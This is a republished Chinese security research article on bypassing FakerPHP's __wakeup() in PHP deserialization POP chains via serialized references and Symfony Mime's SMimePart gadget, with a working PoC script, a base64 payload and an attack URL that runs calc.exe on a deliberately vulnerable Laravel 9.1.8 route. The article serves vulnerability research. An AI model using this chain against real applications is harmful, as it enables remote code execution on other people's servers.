9

A new way to bypass `__wakeup()` and build POP chain

 2 years ago
source link: https://paper.seebug.org/1905/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

A new way to bypass `__wakeup()` and build POP chain

2022年05月19日2022年05月19日经验心得

作者:1nhann
原文链接:https://inhann.top/2022/05/17/bypass_wakeup/

本文以 Laravel 9.1.8 为例,介绍一个通用的新思路,用以绕过 pop chain 构造过程中遇到的 __wakeup()

Laravel 9.1.8

routes/web.php

<?php

use Illuminate\Support\Facades\Route;

/*
|--------------------------------------------------------------------------
| Web Routes
|--------------------------------------------------------------------------
|
| Here is where you can register web routes for your application. These
| routes are loaded by the RouteServiceProvider within a group which
| contains the "web" middleware group. Now create something great!
|
*/

Route::get('/', function (\Illuminate\Http\Request $request) {
//    return view('welcome');
    $ser = base64_decode($request->input("ser"));
    unserialize($ser);
    return "ok";
});

要绕过的 __wakeup()

https://github.com/FakerPHP/Faker

https://github.com/FakerPHP/Faker/pull/136

https://github.com/FakerPHP/Faker/pull/136/commits/841e8bdde345cc1ea9f98e776959e7531cadea0e

71117b0f-2c12-409a-9329-5d5873f18d0d.png-w331s
image-20220516212734164

在 laravel < v5.7 , yii2 < 2.0.38 的情况下, Faker\Generator 是非常好用的反序列化 gagdet ,但是从 FakerPHP v 1.12.1 之后, Generator.php 中加了个 __wakeup() 方法:

public function __wakeup()
{
    $this->formatters = [];
}

这使得 $this->formatters 的值始终为空 array ,这个 gagdet 一定程度上,不能用了。

本文提供一个通用的新思路,用以绕过 pop chain 构造过程中遇到的 __wakeup()

梳理绕过思路

关键词:reference

https://www.phpinternalsbook.com/php5/classes_objects/serialization.html

首先考虑 这样一个 demo :

30c88b26-5d1e-4f1b-b105-da0e37a70540.png-w331s

运行结果:

image-20220517000703926

可以看到 s:4:"fuck";R:2; ,使得 $this->fuck$this->bitch 指向的是同一个值,即 $this->fuck 修改了 $this->bitch 也被修改了

  1. Faker\Generator$this->formatters 和某个对象$o的某个属性 $a 指向同一个值
  2. Faker\Generator__wakeup() 运行完之后,反序列化 gadget 的 __destruct() 运行之前,给 $a 赋值
  3. $a 的赋值如果完全可控,那么 $this->formatters 将不再为空,且完全可控

寻找绕过用的 gadget

根据上面的思路,很容易想到,找一个合适的 __wakeup() 或者 __destruct()

其中最好有类似这样的代码:

$this->a = $this->b;
$this->a[$this->b] = $this->c

经过搜索排查,这里给出 三个可以用的 gadget :

Symfony\Component\Mime\Part\SMimePart.php

namespace Symfony\Component\Mime\Part;
class SMimePart extends AbstractPart
public function __wakeup(): void
{
    $r = new \ReflectionProperty(AbstractPart::class, 'headers');
    $r->setAccessible(true);
    $r->setValue($this, $this->_headers);
    unset($this->_headers);
}

这个类来自 https://github.com/symfony/mime ,其 $headers 属性继承自其父类 AbstractPart__wakeup() 当中使用反射给 $headers 赋值

翻看 git log ,可以看到从项目建立开始,这个 SMimePart__wakeup() 就存在,而且没有变过( 也就是说凡是使用了 symfony/mime 这个依赖的项目,其 __wakeup() 都可能可以绕过 ):

image-20220516214038940

除此之外,Part/DataPart.phpPart/TextPart.php__wakeup() 也 和 Part/SMimePart.php 大致相同,一样可以被用作 gadget

构造 poc

比如对这条链进行改造:https://bkfish.gitee.io/2020/12/01/Some-Php-Pop-Chain-Analysis/#113-laravel-58-exp3

<?php
namespace Faker{
    class Generator{
        protected $providers = [];
        protected $formatters = [];
        function __construct()
        {
            $this->formatter = "dispatch";
            $this->formatters = 9999;
        }

    }
}

namespace Illuminate\Broadcasting{
    class PendingBroadcast
    {
        public function __construct()
        {
            $this->event = "calc.exe";
            $this->events = new \Faker\Generator();
        }
    }
}

namespace Symfony\Component\Mime\Part{
    abstract class AbstractPart
    {
        private $headers = null;
    }
    class SMimePart extends AbstractPart{
        protected $_headers;
        public $inhann;
        function __construct(){
            $this->_headers = ["dispatch"=>"system"];
            $this->inhann = new \Illuminate\Broadcasting\PendingBroadcast();
        }
    }
}


namespace{
    $a = new \Symfony\Component\Mime\Part\SMimePart();
    $ser = preg_replace("/([^\{]*\{)(.*)(s:49.*)(\})/","\\1\\3\\2\\4",serialize($a));
    echo base64_encode(str_replace("i:9999","R:2",$ser));
}

result :

TzozNzoiU3ltZm9ueVxDb21wb25lbnRcTWltZVxQYXJ0XFNNaW1lUGFydCI6Mzp7czo0OToiAFN5bWZvbnlcQ29tcG9uZW50XE1pbWVcUGFydFxBYnN0cmFjdFBhcnQAaGVhZGVycyI7TjtzOjExOiIAKgBfaGVhZGVycyI7YToxOntzOjg6ImRpc3BhdGNoIjtzOjY6InN5c3RlbSI7fXM6NjoiaW5oYW5uIjtPOjQwOiJJbGx1bWluYXRlXEJyb2FkY2FzdGluZ1xQZW5kaW5nQnJvYWRjYXN0IjoyOntzOjU6ImV2ZW50IjtzOjg6ImNhbGMuZXhlIjtzOjY6ImV2ZW50cyI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjozOntzOjEyOiIAKgBwcm92aWRlcnMiO2E6MDp7fXM6MTM6IgAqAGZvcm1hdHRlcnMiO1I6MjtzOjk6ImZvcm1hdHRlciI7czo4OiJkaXNwYXRjaCI7fX19

attack :

http://127.0.0.1/?ser=TzozNzoiU3ltZm9ueVxDb21wb25lbnRcTWltZVxQYXJ0XFNNaW1lUGFydCI6Mzp7czo0OToiAFN5bWZvbnlcQ29tcG9uZW50XE1pbWVcUGFydFxBYnN0cmFjdFBhcnQAaGVhZGVycyI7TjtzOjExOiIAKgBfaGVhZGVycyI7YToxOntzOjg6ImRpc3BhdGNoIjtzOjY6InN5c3RlbSI7fXM6NjoiaW5oYW5uIjtPOjQwOiJJbGx1bWluYXRlXEJyb2FkY2FzdGluZ1xQZW5kaW5nQnJvYWRjYXN0IjoyOntzOjU6ImV2ZW50IjtzOjg6ImNhbGMuZXhlIjtzOjY6ImV2ZW50cyI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjozOntzOjEyOiIAKgBwcm92aWRlcnMiO2E6MDp7fXM6MTM6IgAqAGZvcm1hdHRlcnMiO1I6MjtzOjk6ImZvcm1hdHRlciI7czo4OiJkaXNwYXRjaCI7fX19
image-20220517004350164

Generator\Generator__wakeup() 先被调用:

image-20220517093132274

Symfony\Component\Mime\Part\SMimePart__wakeup() 随后被调用,并将 $this->_headers 赋值给 $this->headers

image-20220517093250791

然后才进入 __destruct()

image-20220517093429816

可以看到,虽然 Generator\Generator__wakeup() 执行了,但是 $this->formatters 不为空:

image-20220517093507269

总的来说,本文介绍的 bypass __wakeup() 并不是跳过 __wakeup() 的执行,而是通过构造包含reference的特殊序列化数据 ,达到对冲 __wakeup() 的效果。一般情况下,如果 __wakeup() 里面是对属性的再赋值,而没有 throw Exception 之类的,环境依赖又恰到好处,那就可以达到本文所说的 bypass。


Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1905/


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK